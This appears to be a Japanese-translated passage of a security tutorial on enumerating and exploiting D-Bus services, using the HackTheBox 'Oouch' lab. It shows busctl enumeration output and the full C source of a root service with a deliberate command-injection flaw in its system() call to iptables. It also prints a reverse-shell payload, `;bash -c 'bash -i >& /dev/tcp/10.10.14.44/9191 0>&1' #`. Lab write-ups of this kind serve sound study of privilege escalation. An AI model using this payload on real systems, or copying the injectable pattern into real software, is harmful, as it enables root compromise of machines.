busctlstatushtb.oouch.Block#Get info of "htb.oouch.Block" interfacePID=2609PPID=1TTY=n/aUID=0EUID=0SUID=0FSUID=0GID=0EGID=0SGID=0FSGID=0SupplementaryGIDs=Comm=dbus-serverCommandLine=/root/dbus-serverLabel=unconfinedCGroup=/system.slice/dbus-server.serviceUnit=dbus-server.serviceSlice=system.sliceUserUnit=n/aUserSlice=n/aSession=n/aAuditLoginUID=n/aAuditSessionID=n/aUniqueName=:1.3EffectiveCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_readPermittedCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_readInheritableCapabilities=BoundingCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_read
サービスオブジェクトのインターフェースをリストアップする
十分な権限が必要です。
busctltreehtb.oouch.Block#Get Interfaces of the service object└─/htb└─/htb/oouch└─/htb/oouch/Block
busctlintrospecthtb.oouch.Block/htb/oouch/Block#Get methods of the interfaceNAMETYPESIGNATURERESULT/VALUEFLAGShtb.oouch.Blockinterface---.Blockmethodss-org.freedesktop.DBus.Introspectableinterface---.Introspectmethod-s-org.freedesktop.DBus.Peerinterface---.GetMachineIdmethod-s-.Pingmethod---org.freedesktop.DBus.Propertiesinterface---.Getmethodssv-.GetAllmethodsa{sv}-.Setmethodssv--.PropertiesChangedsignalsa{sv}as--
sudobusctlmonitorhtb.oouch.Block#Monitor only specifiedsudobusctlmonitor#System level, even if this works you will only see messages you have permissions to seesudodbus-monitor--system#System level, even if this works you will only see messages you have permissions to see
As you can see, it is **D-Busインターフェースに接続** し、"Block" 関数に "client_ip" を送信しています。D-Bus接続のもう一方には、いくつかのCコンパイルされたバイナリが実行されています。このコードは、D-Bus接続でIPアドレスを受信し、`system` 関数を介してiptablesを呼び出して指定されたIPアドレスをブロックしています。\
`system` への呼び出しは、意図的にコマンドインジェクションの脆弱性があります。そのため、次のようなペイロードを使用すると、リバースシェルが作成されます: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #`
### 悪用方法このページの最後に、**D-Busアプリケーションの完全なCコード**があります。その中には、**`D-Busオブジェクトパス`** と **`インターフェース名`** が **登録** されている91-97行の間に見つけることができます。この情報は、D-Bus接続に情報を送信するために必要になります：
/* Install the object */r =sd_bus_add_object_vtable(bus,&slot,"/htb/oouch/Block", /* interface */"htb.oouch.Block", /* service object */block_vtable,NULL);
//sudo apt install pkgconf//sudo apt install libsystemd-dev//gcc d-bus_server.c -o dbus_server `pkg-config --cflags --libs libsystemd`#include<stdio.h>#include<stdlib.h>#include<string.h>#include<errno.h>#include<unistd.h>#include<systemd/sd-bus.h>staticintmethod_block(sd_bus_message *m,void*userdata, sd_bus_error *ret_error) {char* host =NULL;int r;/* Read the parameters */r =sd_bus_message_read(m,"s",&host);if (r <0) {fprintf(stderr,"Failed to obtain hostname: %s\n", strerror(-r));return r;}char command[]="iptables -A PREROUTING -s %s -t mangle -j DROP";int command_len =strlen(command);int host_len =strlen(host);char* command_buffer = (char*)malloc((host_len + command_len) *sizeof(char));if(command_buffer ==NULL) {fprintf(stderr,"Failed to allocate memory\n");return-1;}sprintf(command_buffer, command, host);/* In the first implementation, we simply ran command using system(), since the expected DBus* to be threading automatically. However, DBus does not thread and the application will hang* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real* multithreading)*/int pid =fork();if ( pid ==0 ) {/* Here we are in the child process. We execute the command and eventually exit. */system(command_buffer);exit(0);} else {/* Here we are in the parent process or an error occured. We simply send a genric message.* In the first implementation we returned separate error messages for success or failure.* However, now we cannot wait for results of the system call. Therefore we simply return* a generic. */returnsd_bus_reply_method_return(m,"s","Carried out :D");}r =system(command_buffer);}/* The vtable of our little object, implements the net.poettering.Calculator interface */staticconst sd_bus_vtable block_vtable[]= {SD_BUS_VTABLE_START(0),SD_BUS_METHOD("Block","s","s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),SD_BUS_VTABLE_END};intmain(int argc,char*argv[]) {/** Main method, registeres the htb.oouch.Block service on the system dbus.** Paramaters:* argc (int) Number of arguments, not required* argv[] (char**) Argument array, not required** Returns:* Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive* as long as the user keeps it alive.*//* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */signal(SIGCHLD,SIG_IGN);sd_bus_slot *slot =NULL;sd_bus *bus =NULL;int r;/* First we need to connect to the system bus. */r =sd_bus_open_system(&bus);if (r <0){fprintf(stderr,"Failed to connect to system bus: %s\n", strerror(-r));goto finish;}/* Install the object */r =sd_bus_add_object_vtable(bus,&slot,"/htb/oouch/Block", /* interface */"htb.oouch.Block", /* service object */block_vtable,NULL);if (r <0) {fprintf(stderr,"Failed to install htb.oouch.Block: %s\n", strerror(-r));goto finish;}/* Register the service name to find out object */r =sd_bus_request_name(bus,"htb.oouch.Block",0);if (r <0) {fprintf(stderr,"Failed to acquire service name: %s\n", strerror(-r));goto finish;}/* Infinite loop to process the client requests */for (;;) {/* Process requests */r =sd_bus_process(bus,NULL);if (r <0) {fprintf(stderr,"Failed to process bus: %s\n", strerror(-r));goto finish;}if (r >0) /* we processed a request, try to process another one, right-away */continue;/* Wait for the next request to process */r =sd_bus_wait(bus, (uint64_t) -1);if (r <0) {fprintf(stderr,"Failed to wait on bus: %s\n", strerror(-r));goto finish;}}finish:sd_bus_slot_unref(slot);sd_bus_unref(bus);return r <0? EXIT_FAILURE : EXIT_SUCCESS;}
